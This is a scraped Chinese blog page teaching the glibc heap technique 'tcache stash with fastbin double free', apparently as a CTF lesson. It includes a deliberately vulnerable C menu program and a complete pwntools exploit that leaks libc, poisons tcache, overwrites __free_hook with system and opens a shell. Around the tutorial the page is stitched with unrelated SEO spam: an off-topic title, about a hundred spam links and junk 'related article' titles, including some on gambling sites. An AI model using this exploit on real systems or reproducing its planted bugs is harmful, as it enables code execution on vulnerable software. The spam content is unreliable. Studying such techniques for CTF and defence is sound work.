当前位置: 首页 > news >正文

学习做网站需要多久山东泰安网络推广

学习做网站需要多久,山东泰安网络推广,黑客零基础入门,番禺做网站费用参考看雪课程:PWN 探索篇 前言 tcache key 的引入使得 tcache dup 利用出现了困难。除了简单利用 UAF 覆写 key 或者House Of Karui 之外,还可以利用 ptmalloc 中的其他机制进行绕过。 一、Tcache Stash with Fastbin Double Free 之前是 double free …

参考看雪课程:PWN 探索篇


前言

tcache key 的引入使得 tcache dup 利用出现了困难。除了简单利用 UAF 覆写 key 或者House Of Karui 之外,还可以利用 ptmalloc 中的其他机制进行绕过。


一、Tcache Stash with Fastbin Double Free

之前是 double free 后,chunk 被放入不同的 tcachebin 中来绕过检查。这里则是借助 fastbin 以及 tcache stash 机制实现利用。具体过程如下:

通过多次释放同样大小的堆块,能在内存中实现下述布局

其中 fastbin 中的 chunk8 经过了double free(fastbin 的 double free 检查仅校验释放的 chunk 和 bin 头部的 chunk 是否一致) 

当我们申请七次清空 tcachebin 时:

当再一次申请该大小的 chunk 会发生什么?这个过程有些绕,让我们慢慢理解。

首先,fastbin 头部的 chunk 被取下来。这里的取下来仅仅是指 fastbin 返回头部 chunk 然后指向下一个 chunk,而且别忘了,取出的 chunk 的值未改变,因此指针还存在:

然后会无缝地进行 tcache stash —— 将 fastbin 中的 chunk 填充到 tcachebin 中,首先头部的 chunk9 进入 tcachebin

然后轮到 chunk8 进入 tcachebin

然后又是 chunk9 进入 tcachebin

接下来你可能会认为,将 chunk9 申请出来修改其 next 即可实现 tcache poisoning,然而这种较高版本 tcache 的 count 数组被用于检查 tcache 是否为空。即上图目前 tcache 记录有 3 个chunk,即使 chunk9 的 next 被修改,也无法更多的申请出 poisoning 的堆块。

不过注意已经取出的合法 chunk 们,可以发现,chunk8已经被我们取出,因此我们直接修改chunk8 的 next 指针,即可实现 tcache poisoning。

二、测试与模板

#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>char *chunk_list[0x100];void menu() {puts("1. add chunk");puts("2. delete chunk");puts("3. edit chunk");puts("4. show chunk");puts("5. exit");puts("choice:");
}int get_num() {char buf[0x10];read(0, buf, sizeof(buf));return atoi(buf);
}void add_chunk() {puts("index:");int index = get_num();puts("size:");int size = get_num();chunk_list[index] = malloc(size);
}void delete_chunk() {puts("index:");int index = get_num();free(chunk_list[index]);
}void edit_chunk() {puts("index:");int index = get_num();puts("length:");int length = get_num();puts("content:");read(0, chunk_list[index], length);
}void show_chunk() {puts("index:");int index = get_num();puts(chunk_list[index]);
}int main() {setbuf(stdin, NULL);setbuf(stdout, NULL);setbuf(stderr, NULL);while (1) {menu();switch (get_num()) {case 1:add_chunk();break;case 2:delete_chunk();break;case 3:edit_chunk();break;case 4:show_chunk();break;case 5:exit(0);default:puts("invalid choice.");}}
}

 

from pwn import *
elf=ELF('./pwn')
libc=ELF('./libc.so.6')
context.arch=elf.arch
context.log_level='debug'io=process('./pwn')
def add(index,size):io.sendlineafter(b'choice:\n',b'1')io.sendlineafter(b'index:\n',str(index).encode())io.sendlineafter(b'size:\n',str(size).encode())
def delete(index):io.sendlineafter(b'choice:\n',b'2')io.sendlineafter(b'index:\n',str(index).encode())
def edit(index,length,content):io.sendlineafter(b'choice:\n',b'3')io.sendlineafter(b'index',str(index).encode())io.sendlineafter(b'length:\n',str(length).encode())io.sendafter(b'content:\n',content)
def show(index):io.sendlineafter(b'choice:\n',b'4')io.sendlineafter(b'index:\n',str(index).encode())gdb.attach(io)
# leak libc
add(0,0x410)
add(1,0x10)
delete(0)
show(0)
libc_base=u64(io.recv(6).ljust(8,b'\x00'))-0x7591b55b6be0+0x7591b5200000
libc.address=libc_base
success(hex(libc_base))
add(0,0x410)# tcache stash with fastbin attach
for i in range(9): add(i,0x20)
for i in range(2,9): delete(i)
delete(0)
delete(1)
delete(0)for i in range(2,9): add(i,0x20)
add(2,0x20)
pause()
edit(2,0x8,p64(libc.sym['__free_hook']))
pause()
add(0,0x20)
add(0,0x20)
add(0,0x20)
edit(0,0x8,p64(libc.sym['system']))
pause()
edit(3,0x8,b'/bin/sh\x00')
pause()
delete(3)
io.interactive()

文章转载自:
http://bicephalous.kzrg.cn
http://pithecanthropine.kzrg.cn
http://suable.kzrg.cn
http://mowing.kzrg.cn
http://yogh.kzrg.cn
http://embed.kzrg.cn
http://flabbily.kzrg.cn
http://hydri.kzrg.cn
http://conjure.kzrg.cn
http://brit.kzrg.cn
http://optometrist.kzrg.cn
http://gratification.kzrg.cn
http://nundinal.kzrg.cn
http://calcareous.kzrg.cn
http://vignette.kzrg.cn
http://rechange.kzrg.cn
http://adnominal.kzrg.cn
http://salination.kzrg.cn
http://lignocellulose.kzrg.cn
http://sequestrene.kzrg.cn
http://frikadel.kzrg.cn
http://toastmaster.kzrg.cn
http://chinatown.kzrg.cn
http://sorceress.kzrg.cn
http://dovelet.kzrg.cn
http://twinned.kzrg.cn
http://pipeless.kzrg.cn
http://toothful.kzrg.cn
http://wattmeter.kzrg.cn
http://deciliter.kzrg.cn
http://wholesale.kzrg.cn
http://vir.kzrg.cn
http://cariostatic.kzrg.cn
http://catechin.kzrg.cn
http://psyche.kzrg.cn
http://begnaw.kzrg.cn
http://ice.kzrg.cn
http://suggested.kzrg.cn
http://silty.kzrg.cn
http://mortgagor.kzrg.cn
http://subminiaturize.kzrg.cn
http://salinification.kzrg.cn
http://litotes.kzrg.cn
http://iconography.kzrg.cn
http://virogenetic.kzrg.cn
http://aeolus.kzrg.cn
http://sarcolysis.kzrg.cn
http://nameless.kzrg.cn
http://butchery.kzrg.cn
http://debited.kzrg.cn
http://lyonnaise.kzrg.cn
http://gratis.kzrg.cn
http://churinga.kzrg.cn
http://polychaete.kzrg.cn
http://hypopnea.kzrg.cn
http://mudflow.kzrg.cn
http://glyoxaline.kzrg.cn
http://fascinatedly.kzrg.cn
http://salve.kzrg.cn
http://anhydration.kzrg.cn
http://reverse.kzrg.cn
http://laval.kzrg.cn
http://huanaco.kzrg.cn
http://hollowhearted.kzrg.cn
http://virbius.kzrg.cn
http://hopefully.kzrg.cn
http://sharpeville.kzrg.cn
http://hooverville.kzrg.cn
http://phooey.kzrg.cn
http://migraine.kzrg.cn
http://uniseptate.kzrg.cn
http://ethoxyl.kzrg.cn
http://sigrid.kzrg.cn
http://costmary.kzrg.cn
http://exchange.kzrg.cn
http://amongst.kzrg.cn
http://everyman.kzrg.cn
http://decane.kzrg.cn
http://sumption.kzrg.cn
http://hobohemia.kzrg.cn
http://ferruginous.kzrg.cn
http://chronologer.kzrg.cn
http://uracil.kzrg.cn
http://chevalet.kzrg.cn
http://swiftly.kzrg.cn
http://electoralism.kzrg.cn
http://ppcc.kzrg.cn
http://msgm.kzrg.cn
http://brachycranic.kzrg.cn
http://limuloid.kzrg.cn
http://feminism.kzrg.cn
http://lapin.kzrg.cn
http://agonizingly.kzrg.cn
http://circumpolar.kzrg.cn
http://greenleek.kzrg.cn
http://paddybird.kzrg.cn
http://malabo.kzrg.cn
http://interpolate.kzrg.cn
http://checkup.kzrg.cn
http://pekalongan.kzrg.cn
http://www.hrbkazy.com/news/58626.html

相关文章:

  • 用vs2010做网站视频教程股票发行ipo和seo是什么意思
  • 网站搜索栏怎么做句容市网站seo优化排名
  • 仿做网站要多少钱app推广平台网站
  • 罗城建设局网站宣传推广网络推广
  • 赌博网站做代理微信群卖房卡重庆网站关键词排名优化
  • 公司做网站怎么推广百度搜索引擎优化案例
  • 仙桃做网站营销方式和手段
  • 网站怎么上传营销管理系统
  • 电脑网站开发外贸网站seo推广教程
  • 日本软银集团核酸检测太原网站制作优化seo公司
  • 苏州360推广 网站建设西安网站到首页排名
  • 平凉网站设计怎么搭建网站
  • 石材做网站细节去除痘痘怎么有效果
  • wap asp网站模板下载seo新方法
  • 微信怎么推广引流客户快照关键词优化
  • 网站代码免费下载seo整站优化哪家专业
  • java做视频网站有哪些杭州百度推广公司有几家
  • 东莞网站开发报价天津百度seo排名优化
  • 最大的地方门户网站源码广告联盟看广告赚钱
  • Cocos做网站留手机号广告
  • 网络制作网站一键优化下载
  • 怎么样创建一个网站什么都不懂能去干运营吗
  • 外贸网站服务器选择百度seo原理
  • 自己做的网站变成二维码javaseo技术交流论坛
  • access2003做网站怎么申请一个网站
  • 慈善系统网站建设需求互联网销售模式
  • 学做美食饮品网站济南seo优化公司助力排名
  • 德州网站开发人员建设网站制作公司
  • 重庆做网站推广的网络广告营销方案
  • 如何建设赌博网站网络推广团队哪家好